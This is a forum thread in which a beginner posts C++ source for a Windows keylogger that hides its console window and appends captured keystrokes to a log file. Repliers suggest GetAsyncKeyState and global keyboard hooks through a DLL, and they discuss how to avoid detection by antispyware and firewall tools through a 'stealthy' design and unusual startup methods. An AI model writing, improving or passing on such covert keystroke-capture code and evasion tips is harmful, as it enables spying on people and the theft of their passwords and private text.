Last night I decided to start writing a keylogger so this is what I have so far:

#include <iostream>
#include <cstdlib>
#include <windows.h>
#include <fstream>
using namespace std;

void loger();

int main() 
{
    
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

loger();
return 0;
}


 void loger()
{
  char typed;
  cin >> typed;
  ofstream myfile;
  myfile.open ("log.txt", ios::out | ios::app | ios::binary);
  myfile << typed;
  myfile.close();
  loger();
}

It works exept it wont show spaces, and if you click on something else after its open it wont log any more. Is there any way to fix this?

Im not quit good at c++, but for me it looks like a keylogger for your own app :)

You can't use cin when you dont have the window active I think(?).
You can use the function GetAsyncKeyState to see if a key is down or up.
And for not showing spaces try, (cin>>typed).get();

Youre right, but in his case:

After starting his app it hides its window.But its still "active". So when he type sth it works.
But after he click with the mouse elsewhere, it lost focus & isnt more active->not logging.
Hope i understood it right :D

Exactly.

I already knew the getkeystate thing but I was just seeing if there was an easier way, guess not.

You should use hooks if you want to make a proper keylogger, these should get you started if you're on windows :)

:P don't know any alternative for linux

I don't think that's possible Jcrypt- the window still needs to be active..

Don't use these lame methods. Use a proper keyboard hook, you'll need a .dll for a global hook, then your main program. Search these forums, this topic has been discussed countless times.

I must correct you, Wells. Every good Antispy-Tool or firewall(Zone alarm pro version) recognize Keyboard-Hooks.

So its easely to detect a Keylogger! ZA, detects also DLL injections for FWB.To avoid this, you can use
an unusuall Startup method (selfpromoting :P )

To make your Keylogger more stealthy, you must use the lame method.
On the one Side youre right. Keyboard hook is the best method :) !
On the other, let the people try both methods.So the can learn...

Peace out

I'm sorry but the first post was a joke yeah?

No... :(

[kevloink]

I just new to C++, I'm better than some people though. I was just trying to see if I could make a shorter keylogger than all the ones on the internet... I was just pretending...

[leben]

is there like a socket that the OS reads from and the keyboard inputs to, an u just try to read that?

if not then how dose the OS read what the keyboard says?

[kevloink]

I... have no clue...
